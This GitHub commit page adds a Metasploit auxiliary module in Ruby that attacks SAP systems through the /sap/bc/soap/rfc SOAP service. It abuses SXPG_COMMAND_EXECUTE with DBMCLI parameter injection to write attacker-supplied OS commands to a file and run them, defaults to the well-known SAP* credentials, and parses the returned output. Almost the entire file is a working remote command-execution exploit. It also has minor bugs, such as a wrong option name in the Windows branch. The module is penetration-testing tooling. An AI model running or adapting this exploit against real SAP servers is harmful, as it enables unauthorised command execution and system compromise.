Skip to content

Commit ff07e5d

Browse files
committed
sap_soap_rfc_dbmcli_sxpg_command_exec
1 parent b973927 commit ff07e5d

File tree

2 files changed

+160
-0
lines changed

2 files changed

+160
-0
lines changed
7.14 KB
Binary file not shown.
Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16+
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17+
##
18+
19+
require 'msf/core'
20+
21+
class Metasploit4 < Msf::Auxiliary
22+
23+
include Msf::Exploit::Remote::HttpClient
24+
include Msf::Auxiliary::Report
25+
include Msf::Auxiliary::Scanner
26+
27+
def initialize
28+
super(
29+
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection',
30+
'Description' => %q{
31+
This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
32+
use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
33+
},
34+
'References' =>
35+
[
36+
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ],
37+
[ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ]
38+
],
39+
'Author' =>
40+
[
41+
'nmonkee'
42+
],
43+
'License' => MSF_LICENSE
44+
)
45+
register_options(
46+
[
47+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
48+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
49+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
50+
OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]),
51+
OptString.new('CMD', [true, 'Command to run', "id"])
52+
], self.class)
53+
end
54+
55+
def run_host(ip)
56+
payload = create_payload(1)
57+
exec_command(ip,payload)
58+
payload = create_payload(2)
59+
exec_command(ip,payload)
60+
end
61+
62+
def create_payload(num)
63+
command = ""
64+
os = "ANYOS"
65+
if datastore['OS'].downcase == "linux"
66+
if num == 1
67+
command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
68+
command << datastore['CMD'].gsub(" ","\t")
69+
command << "\n"
70+
end
71+
command = "-ic /tmp/pwned.txt" if num == 2
72+
elsif datastore['OS'].downcase == "windows"
73+
if num == 1
74+
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
75+
space = "%programfiles:~10,1%"
76+
command << datastore['COMMAND'].gsub(" ",space)
77+
end
78+
command = '-ic c:\\\pwn.out' if num == 2
79+
end
80+
data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
81+
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"
82+
data << '<env:Body>' + "\r\n"
83+
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"
84+
data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"
85+
data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"
86+
data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r\n"
87+
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"
88+
data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r\n"
89+
data << '</env:Body>' + "\r\n"
90+
data << '</env:Envelope>' + "\r\n"
91+
return data
92+
end
93+
94+
def exec_command(ip,data)
95+
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
96+
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
97+
begin
98+
res = send_request_raw(
99+
{
100+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
101+
'method' => 'POST',
102+
'data' => data,
103+
'headers' => {
104+
'Content-Length' => data.size.to_s,
105+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
106+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
107+
'Authorization' => 'Basic ' + user_pass,
108+
'Content-Type' => 'text/xml; charset=UTF-8'
109+
}
110+
}, 45)
111+
if res and res.code != 500 and res.code != 200
112+
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
113+
return
114+
elsif res and res.body =~ /faultstring/
115+
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
116+
0.upto(output.length-1) do |i|
117+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
118+
end
119+
return
120+
elsif res
121+
print_status("[SAP] #{ip}:#{rport} - got response")
122+
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
123+
result = []
124+
0.upto(output.length-1) do |i|
125+
if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
126+
#nothing
127+
elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
128+
#nothing
129+
elsif output[i] =~ /External program terminated with exit code/
130+
#nothing
131+
else
132+
temp = output[i].gsub("&#62",">")
133+
temp_ = temp.gsub("&#34","\"")
134+
temp__ = temp_.gsub("&#39","'")
135+
result << temp__ + "\n"
136+
end
137+
end
138+
saptbl = Msf::Ui::Console::Table.new(
139+
Msf::Ui::Console::Table::Style::Default,
140+
'Header' => "[SAP] SXPG_COMMAND_EXEC dbmcli Command Injection",
141+
'Prefix' => "\n",
142+
'Postfix' => "\n",
143+
'Indent' => 1,
144+
'Columns' =>["Output"]
145+
)
146+
for i in 0..result.length/2-1
147+
saptbl << [result[i].chomp]
148+
end
149+
print (saptbl.to_s)
150+
return
151+
else
152+
print_error("[SAP] #{ip}:#{rport} - Unknown error")
153+
return
154+
end
155+
rescue ::Rex::ConnectionError
156+
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
157+
return
158+
end
159+
end
160+
end

0 commit comments

Comments
 (0)